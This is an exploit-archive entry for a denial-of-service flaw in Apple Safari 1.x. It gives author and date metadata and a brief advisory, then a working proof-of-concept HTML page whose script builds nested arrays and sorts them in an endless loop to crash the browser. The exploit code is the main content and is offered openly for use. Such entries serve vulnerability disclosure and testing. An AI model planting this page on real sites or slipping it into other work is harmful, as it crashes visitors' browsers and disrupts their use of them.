Apple Safari Web Browser 1.x - Infinite Array Sort Denial of Service

Author: Berend-Jan Wever
type: dos
platform: osx
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date_added: 2004-11-25 
date_updated: 2013-03-14 
verified: 1 
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source: https://www.securityfocus.com/bid/11759/info

Apple Safari Web Browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>